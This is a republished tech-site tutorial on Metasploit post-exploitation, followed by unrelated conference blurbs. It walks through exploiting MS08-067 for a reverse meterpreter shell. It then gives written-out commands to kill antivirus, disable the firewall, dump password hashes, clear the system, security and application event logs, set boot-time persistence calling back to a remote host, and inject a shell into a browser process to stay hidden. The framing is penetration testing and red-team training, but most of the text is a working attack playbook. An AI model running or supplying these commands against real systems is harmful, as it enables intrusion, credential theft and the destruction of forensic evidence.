Welcome!

Machine Learning Authors: William Schmarzo, Pat Romanski, Liz McMillan, Elizabeth White, Jnan Dash

Related Topics: Machine Learning , Industrial IoT, Microservices Expo, Microsoft Cloud, Agile Computing, Cloud Security

Machine Learning : Tutorial

Metasploit Helpful Tips

Shell tossing and other useful tips

Introduction
The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. This tutorial will walk you through how to use the latest version of Nessus pre-built plugin filter ‘Metasploit Framework' in your pentest assignments. It will also cover some useful metasploit tips to achieve privilege escalation. Wouldn't it be great to have a shell on another box just in case you lose your meterpreter shell? This tutorial covers this and other metasploit tips.

Integrating Nessus 5 with Metasploit
With the release of Nessus 5 by Tenable Network Security users now have better filtering in policy creation, analysis, reporting, and faster scanning time. The product allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework for both local and remote exploits. To start go to the Tenable site http://www.tenable.com/products and download Nessus 5 and install. The new installation will install in /opt/nessus and will install overtop any previous version of the product. Start nessus daemon and open up your web browser to https://localhost:8834 login and go to policies and click add (see Figure #1) give your policy a title and click next. On the Credentials page leave it as default and click next at the bottom. The Plugins page will follow where you will add a filter and will be presented with a drop down with many different options, choose the ‘Metasploit Exploit Framework' make sure that ‘is equal to' and ‘true' is selected and click save (see Figure #2). Next disable all plugins and select the Family name that you would want to enable and click on the enable plugins in the upper right hand corner of the page. Do this for all Family plugins that you would like to enable and click submit at the bottom.

Figure #1 open web browser on https://localhost:8834

Figure #2 Select Metasploit Exploit Framework from the drop down

To begin a scan click on the scans and add, this will allow you to name the scan and type either run now, scheduled, or template. The policy dropdown is where you pick your policy that you created earlier followed by selecting a target. Now you can start a scan and the time it will take is surprisingly fast. After you are given a report that lists the Plugin ID, count, severity, name, and family of each as they relate to the Metasploit Framework (see Figure 3). The name section gives what exploit within Metasploit can be used successfully against the box.

Figure #3 Report gives what exploit in Metasploit can be used successfully on the box

You can also start a scan in the Metasploit Framework itself and use the plugin. Start the msfconsole and load nessus.

msf > load nessus

Once the plugins are loaded connect to the server.

msf > nessus_connect cr0wn:[email protected] ok

Now show the available plugins with the nessus_policy_list command (see Figure #4).

Figure #4 nessus_policy_list

You can use the policy to scan the network by using the policy ID, name of scan, and specifying a target IP range using the nessus_scan_new command (see Figure #5). For this scan we will be targeting a single Windows XP box with the IP address of 10.10.3.219. If you are connected to a database within the Metasploit Framework you can open a view the information from the console otherwise you can view them form the web browser. Now you can select an exploit to use on the target system such as the MS08-067, or MS06-040.

Figure #5 nessus_scan_new

Basic Exploitation using Metasploit

At this point we will use the MS08-067 flaw to our advantage and get a meterpreter shell on the box. To accomplish this do the following:

msf > use exploit/windows/smb/ms08_067_netapi

msf > set payload windows/meterpreter/reverse_tcp

msf > set lhost 10.10.3.218

msf > set lport 5555

msf > set rhost 10.10.3.188

msf > exploit

meterpreter >

Useful meterpreter commands
Now we are left with a meterpreter shell on the windows box and there are a number of things that can be done now. Checking to see if the box your on is a virtual machine, has anti-virus, what the local subnet looks like, and what kind of security configuration is on the victim system is a good first start. Metasploit comes with some useful scripts to perform these tasks.

meterpreter > run checkvm

This will show you the help menu with options, choose -d to disable built in firewall.

meterpreter > run getcountermeasure -h

meterpreter > run getcountermeasure -d

To kill most antivirus, run the ‘killav' script.

meterpreter > run killav

To identify the local subnet mask that the victim is on run the ‘get_local_subnets' script

meterpreter > run get_local_subnets

You may want to search the host for interesting information such as *.pdf, *.txt, *.doc, *.jpg, etc. Use the search function in meterpreter.

meterpreter > search -h

meterpreter > search -f *.pdf

To get some detailed information about the system use the ‘winenum' script and the ‘scraper' script. Winenum script will dump tokens, hashes and provide you with lots of information (see Figure #6). The ‘scraper' script will pull down the registry and system information.

meterpreter > run winenum

meterpreter > run scraper

Figure #6 winenum command

Now we should delete the log files. To do this, open up into the meterpreter scripting menu by using the ‘irb' command. Then issue the following at the >> prompt:

log = client.sys.enentlog.open(‘system')

meterpreter > irb

[*] Starting IRB shell

[*] The ‘client' variable holds the meterpreter client

>> log = client.sys.eventlog.open(‘system')

>> log.clear

While we're at it lets go ahead and delete the security log and application log, just change (‘system') to (‘security') & (‘application').

Being able to shove a meterpreter shell to team members that you are performing a pentest with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. On day 4 there is a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team and having the ability to throw meterpreter shells to my fellow red team members would be helpful. Here are a few examples of how this is done.

The first example is using the meterpreter script ‘persistence', to see a list of options use the -h switch.

Meterpreter > run persistence -h

Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180

This would throw a meterpreter session to remote system -r 10.10.3.180 at an interval (5 seconds), at port -p 5555, and would be loaded into and run (-X) every time the machine booted up. The recipient of this would be waiting for the meterpreter shell by using the multi/handler.

msf > use multi/handler

msf > set payload windows/meterpreter/reverse_tcp

msf > set lhost 10.10.3.180

msf > set lport 5555

msf > exploit

The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell you get a list of running processes. To view a list of running process issue the ‘ps' command.

meterpreter > ps

Look through the list of process and identify PID's that can be used that will not draw attention such as IEXPLORER.EXE PID 3664 (see Figure #7).

Figure #7 ps command

Being able to inject the meterpreter shell into the IEXPLORE.EXE process would be stealthy. Let's run the multi_meter_inject command using the following switches.

meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664

This would throw a meterpreter session to remote system -mr 10.10.3.180, at port -p 3664. The recipient of this would be waiting for the meterpreter shell by using the multi/handler just like above, just change the lport to 3664 (see Figure #8).

Figure #8 Recipient of meterpreter shell using multi_meter_inject

Now when performing some basic analysis on the victim box you can run ‘tasklist' and nothing looks out of place (see Figure #9), but when you run ‘netstat -an' you will see the foreign connection (see Figure #10).

Figure #9 tasklist command

Figure #10 netstat -an command

A third way to send off meterpreter shells to a foreign box for your friends or one that you own is to use the meterpreter script duplicate. At the meterpreter prompt issue the following commands:

meterpreter > run duplicate -h

This will give you the various options.

meterpreter > run duplicate -r 10.10.3.180

This will send a meterpreter shell to the IP address 10.10.3.180 on the default port of 4546 (see Figure #11).

Figure #11 Recipient of meterpreter shell using duplicate

You can run a packet sniffer on the box after you allow your team member to obtain meterpreter shells if you like. This meterpreter script, like the ones above written by Carlos Perez is called packetrecorder and allows some more granularities when capturing packets.

meterpreter > run packetrecorder

This will give you a list of options to use. You will need to determine the interface to listen on; this can be obtained by issuing the following command ‘run packetrecorder -li'. This will give a list of network interfaces; choose one and a destination to write the file to.

meterpreter > run packetrecorder -i -l /home/tmp/

[*] Packet capture interval is 30 Seconds

The file can later be reviewed with wireshark or tcpdump.

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@CloudExpo Stories
"Infoblox does DNS, DHCP and IP address management for not only enterprise networks but cloud networks as well. Customers are looking for a single platform that can extend not only in their private enterprise environment but private cloud, public cloud, tracking all the IP space and everything that is going on in that environment," explained Steve Salo, Principal Systems Engineer at Infoblox, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Conventio...
"Cloud Academy is an enterprise training platform for the cloud, specifically public clouds. We offer guided learning experiences on AWS, Azure, Google Cloud and all the surrounding methodologies and technologies that you need to know and your teams need to know in order to leverage the full benefits of the cloud," explained Alex Brower, VP of Marketing at Cloud Academy, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clar...
In his session at 21st Cloud Expo, Carl J. Levine, Senior Technical Evangelist for NS1, will objectively discuss how DNS is used to solve Digital Transformation challenges in large SaaS applications, CDNs, AdTech platforms, and other demanding use cases. Carl J. Levine is the Senior Technical Evangelist for NS1. A veteran of the Internet Infrastructure space, he has over a decade of experience with startups, networking protocols and Internet infrastructure, combined with the unique ability to it...
The question before companies today is not whether to become intelligent, it’s a question of how and how fast. The key is to adopt and deploy an intelligent application strategy while simultaneously preparing to scale that intelligence. In her session at 21st Cloud Expo, Sangeeta Chakraborty, Chief Customer Officer at Ayasdi, provided a tactical framework to become a truly intelligent enterprise, including how to identify the right applications for AI, how to build a Center of Excellence to oper...
"IBM is really all in on blockchain. We take a look at sort of the history of blockchain ledger technologies. It started out with bitcoin, Ethereum, and IBM evaluated these particular blockchain technologies and found they were anonymous and permissionless and that many companies were looking for permissioned blockchain," stated René Bostic, Technical VP of the IBM Cloud Unit in North America, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Conventi...
Gemini is Yahoo’s native and search advertising platform. To ensure the quality of a complex distributed system that spans multiple products and components and across various desktop websites and mobile app and web experiences – both Yahoo owned and operated and third-party syndication (supply), with complex interaction with more than a billion users and numerous advertisers globally (demand) – it becomes imperative to automate a set of end-to-end tests 24x7 to detect bugs and regression. In th...
In his session at 21st Cloud Expo, James Henry, Co-CEO/CTO of Calgary Scientific Inc., introduced you to the challenges, solutions and benefits of training AI systems to solve visual problems with an emphasis on improving AIs with continuous training in the field. He explored applications in several industries and discussed technologies that allow the deployment of advanced visualization solutions to the cloud.
Agile has finally jumped the technology shark, expanding outside the software world. Enterprises are now increasingly adopting Agile practices across their organizations in order to successfully navigate the disruptive waters that threaten to drown them. In our quest for establishing change as a core competency in our organizations, this business-centric notion of Agile is an essential component of Agile Digital Transformation. In the years since the publication of the Agile Manifesto, the conn...
"MobiDev is a software development company and we do complex, custom software development for everybody from entrepreneurs to large enterprises," explained Alan Winters, U.S. Head of Business Development at MobiDev, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
Large industrial manufacturing organizations are adopting the agile principles of cloud software companies. The industrial manufacturing development process has not scaled over time. Now that design CAD teams are geographically distributed, centralizing their work is key. With large multi-gigabyte projects, outdated tools have stifled industrial team agility, time-to-market milestones, and impacted P&L stakeholders.
"ZeroStack is a startup in Silicon Valley. We're solving a very interesting problem around bringing public cloud convenience with private cloud control for enterprises and mid-size companies," explained Kamesh Pemmaraju, VP of Product Management at ZeroStack, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
Enterprises are adopting Kubernetes to accelerate the development and the delivery of cloud-native applications. However, sharing a Kubernetes cluster between members of the same team can be challenging. And, sharing clusters across multiple teams is even harder. Kubernetes offers several constructs to help implement segmentation and isolation. However, these primitives can be complex to understand and apply. As a result, it’s becoming common for enterprises to end up with several clusters. Thi...
"Space Monkey by Vivent Smart Home is a product that is a distributed cloud-based edge storage network. Vivent Smart Home, our parent company, is a smart home provider that places a lot of hard drives across homes in North America," explained JT Olds, Director of Engineering, and Brandon Crowfeather, Product Manager, at Vivint Smart Home, in this SYS-CON.tv interview at @ThingsExpo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
"Codigm is based on the cloud and we are here to explore marketing opportunities in America. Our mission is to make an ecosystem of the SW environment that anyone can understand, learn, teach, and develop the SW on the cloud," explained Sung Tae Ryu, CEO of Codigm, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
High-velocity engineering teams are applying not only continuous delivery processes, but also lessons in experimentation from established leaders like Amazon, Netflix, and Facebook. These companies have made experimentation a foundation for their release processes, allowing them to try out major feature releases and redesigns within smaller groups before making them broadly available. In his session at 21st Cloud Expo, Brian Lucas, Senior Staff Engineer at Optimizely, discussed how by using ne...
Vulnerability management is vital for large companies that need to secure containers across thousands of hosts, but many struggle to understand how exposed they are when they discover a new high security vulnerability. In his session at 21st Cloud Expo, John Morello, CTO of Twistlock, addressed this pressing concern by introducing the concept of the “Vulnerability Risk Tree API,” which brings all the data together in a simple REST endpoint, allowing companies to easily grasp the severity of the ...
While some developers care passionately about how data centers and clouds are architected, for most, it is only the end result that matters. To the majority of companies, technology exists to solve a business problem, and only delivers value when it is solving that problem. 2017 brings the mainstream adoption of containers for production workloads. In his session at 21st Cloud Expo, Ben McCormack, VP of Operations at Evernote, discussed how data centers of the future will be managed, how the p...
"NetApp is known as a data management leader but we do a lot more than just data management on-prem with the data centers of our customers. We're also big in the hybrid cloud," explained Wes Talbert, Principal Architect at NetApp, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
Coca-Cola’s Google powered digital signage system lays the groundwork for a more valuable connection between Coke and its customers. Digital signs pair software with high-resolution displays so that a message can be changed instantly based on what the operator wants to communicate or sell. In their Day 3 Keynote at 21st Cloud Expo, Greg Chambers, Global Group Director, Digital Innovation, Coca-Cola, and Vidya Nagarajan, a Senior Product Manager at Google, discussed how from store operations and ...
"We're focused on how to get some of the attributes that you would expect from an Amazon, Azure, Google, and doing that on-prem. We believe today that you can actually get those types of things done with certain architectures available in the market today," explained Steve Conner, VP of Sales at Cloudistics, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.